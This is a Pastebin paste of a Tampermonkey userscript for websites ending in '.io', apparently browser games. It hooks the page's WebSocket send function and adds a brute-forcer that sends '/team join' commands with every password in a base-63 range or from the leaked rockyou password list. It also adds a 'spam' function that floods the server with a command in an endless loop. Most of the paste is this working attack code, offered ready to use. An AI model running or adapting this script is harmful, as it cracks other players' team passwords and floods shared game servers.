Advertisement
Guest User

Untitled

a guest
Dec 7th, 2019
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.52 KB | None | 0 0
  1. // ==UserScript==
  2. // @name WebSocket Inspector
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.1
  5. // @description try to take over the world!
  6. // @author kmccord1
  7. // @match *://*.io*
  8. // @grant none
  9. // ==/UserScript==
  10.  
  11.  
  12. (function() {
  13. 'use strict';
  14. window.console = console;
  15. window.WsI = {
  16. settings: {
  17. canSend: 1,
  18. logSend: 0,
  19. logRecieve: 0
  20. },
  21. sockets: []
  22. };
  23. WebSocket.prototype._send = WebSocket.prototype.send;
  24. WebSocket.prototype.send = function (data) {
  25. window.WsI.sockets.push(this);
  26. console.log("WebSocket Captured");
  27. if (window.WsI.settings.canSend == 1)
  28. {
  29. this._send(data);
  30. if (window.WsI.settings.logSend == 1)
  31. {
  32. var datas = new Uint8Array(data);
  33. console.log("%cSent:", "color: #009900");
  34. console.log(datas);
  35. }
  36. };
  37. this.addEventListener('message', function (msg) {
  38. if (window.WsI.settings.logRecieve == 1)
  39. {
  40. var datas = new Uint8Array(msg.data);
  41. console.log("%cRecieved:", "color: #FF4444");
  42. console.log(datas);
  43. }
  44. }, false);
  45. this.addEventListener('close', function () {
  46. console.log("WebSocket Closed");
  47. let i = window.WsI.sockets.indexOf(this);
  48. window.WsI.sockets.splice(i, 1);
  49. }, false);
  50. this.addEventListener('error', function () {
  51. console.error("WebSocket Had An Error And Closed");
  52. let i = window.WsI.sockets.indexOf(this);
  53. window.WsI.sockets.splice(i, 1);
  54. }, false);
  55. this.send = function (data) {
  56. if (window.WsI.settings.canSend == 1)
  57. {
  58. this._send(data);
  59. if (window.WsI.settings.logSend == 1)
  60. {
  61. var datas = new Uint8Array(data);
  62. console.log("%cSent:", "color: #009900");
  63. console.log(datas);
  64. }
  65. }else{
  66. if (window.WsI.settings.logSend == 1)
  67. {
  68. var dat = new Uint8Array(data);
  69. console.log("%cTried to send:", "color: #009900");
  70. console.log(dat);
  71. }
  72. }
  73. };
  74. }
  75. console.log("WebSocket Inspector by kmccord1 loaded");
  76. console.log("Type WsI in the console for settings");
  77. })();
  78.  
  79. (window.bruteforce = {
  80. _running : 0,
  81. _stopped_at : "",
  82. sleep : function(ms){
  83. return new Promise(resolve => setTimeout(resolve, ms));
  84. },
  85. stop : async function(){
  86. this._running = 0;
  87. await this.sleep(1000);
  88. return "Stopped at " + this._stopped_at;
  89. },
  90. run : async function(name,start,end){
  91. this._running = 1;
  92. for(var i=window.encoder.toNumber(start);i++<=window.encoder.toNumber(end);){
  93. try{
  94. window.WsI.sockets[0].send("* /team join "+name+" "+window.encoder.fromNumber(i));
  95. }catch(err){
  96. this._stopped_at=window.encoder.fromNumber(i);
  97. return this._stopped_at;
  98. }
  99. if(i%100==0){
  100. await this.sleep(2);
  101. if(this._running==0){
  102. this._stopped_at=window.encoder.fromNumber(i);
  103. return;
  104. }
  105. }
  106. }
  107. },
  108. readpwlist : function(link){
  109. if(link==""){
  110. link="https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Leaked-Databases/rockyou-75.txt";
  111. }
  112. var rawFile = new XMLHttpRequest();
  113. rawFile.open("GET", link, false);
  114. rawFile.onreadystatechange = function ()
  115. {
  116. if(rawFile.readyState === 4)
  117. {
  118. if(rawFile.status === 200 || rawFile.status == 0)
  119. {
  120. //var allText = rawFile.responseText;
  121. window.pws = rawFile.responseText.split("\n");
  122. }
  123. }
  124. }
  125. rawFile.send(null);
  126. },
  127. trypws : async function(name,start,end){this._running = 1;
  128. if(end>window.pws.length){
  129. end=window.pws.length;
  130. }
  131. for(var i=start;i++<=end;){
  132. try{
  133. window.WsI.sockets[0].send("* /team join "+name+" "+window.pws[i]);
  134. }catch(err){
  135. this._stopped_at=i;
  136. return this._stopped_at;
  137. }
  138. if(i%100==0){
  139. await this.sleep(2);
  140. if(this._running==0){
  141. this._stopped_at=i;
  142. return;
  143. }
  144. }
  145. }
  146. },
  147. });
  148.  
  149. (window.encoder = {
  150. _FullRixits :
  151. // 0 8 16 24 32 40 48 56 63
  152. // v v v v v v v v v
  153. "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_",
  154. _Rixits :
  155. // 0 8 16 24 32 40 48 56 63
  156. // v v v v v v v v v
  157. "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_",
  158. // You have the freedom, here, to choose the glyphs you want for
  159. // representing your base-64 numbers. The ASCII encoding guys usually
  160. // choose a set of glyphs beginning with ABCD..., but, looking at
  161. // your update #2, I deduce that you want glyphs beginning with
  162. // 0123..., which is a fine choice and aligns the first ten numbers
  163. // in base 64 with the first ten numbers in decimal.
  164.  
  165. // This cannot handle negative numbers and only works on the
  166. // integer part, discarding the fractional part.
  167. // Doing better means deciding on whether you're just representing
  168. // the subset of javascript numbers of twos-complement 32-bit integers
  169. // or going with base-64 representations for the bit pattern of the
  170. // underlying IEEE floating-point number, or representing the mantissae
  171. // and exponents separately, or some other possibility. For now, bail
  172. _base : 63,
  173. updatebase : function(base){
  174. if(base>this._FullRixits.length){
  175. return false;
  176. }
  177. this._base = base;
  178. this._Rixits = this._FullRixits.slice(0,base);
  179. return this._Rixits;
  180. },
  181. fromNumber : function(number) {
  182. if (isNaN(Number(number)) || number === null ||
  183. number === Number.POSITIVE_INFINITY)
  184. {throw "The input is not valid";}
  185. if (number < 0)
  186. {throw "Can't represent negative numbers now";}
  187.  
  188. var rixit; // like 'digit', only in some non-decimal radix
  189. var residual = Math.floor(number);
  190. var result = '';
  191. while (true) {
  192. rixit = residual % this._base
  193. // console.log("rixit : " + rixit);
  194. // console.log("result before : " + result);
  195. result = this._Rixits.charAt(rixit) + result;
  196. // console.log("result after : " + result);
  197. // console.log("residual before : " + residual);
  198. residual = Math.floor(residual / this._base);
  199. // console.log("residual after : " + residual);
  200.  
  201. if (residual == 0){
  202. break;
  203. }
  204. }
  205. return result;
  206. },
  207.  
  208. toNumber : function(rixits) {
  209. var result = 0;
  210. // console.log("rixits : " + rixits);
  211. // console.log("rixits.split('') : " + rixits.split(''));
  212. rixits = rixits.split('');
  213. for (var e = 0; e < rixits.length; e++) {
  214. // console.log("_Rixits.indexOf(" + rixits[e] + ") : " +
  215. // this._Rixits.indexOf(rixits[e]));
  216. // console.log("result before : " + result);
  217. result = (result * this._base) + this._Rixits.indexOf(rixits[e]);
  218. // console.log("result after : " + result);
  219. }
  220. return result;
  221. }
  222. });
  223.  
  224. (window.spam = {
  225. _running : 0,
  226. start : async function(command){
  227. this._running = 1;
  228. i=0
  229. while(this._running){
  230. i++;
  231. window.WsI.sockets[0].send("* " + command);
  232. if(i%200==0){
  233. await bruteforce.sleep(1);
  234. if(this._running==0){
  235. return;
  236. }
  237. }
  238. }
  239.  
  240. },
  241. stop : async function() {
  242. this._running = 0;
  243. },
  244. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement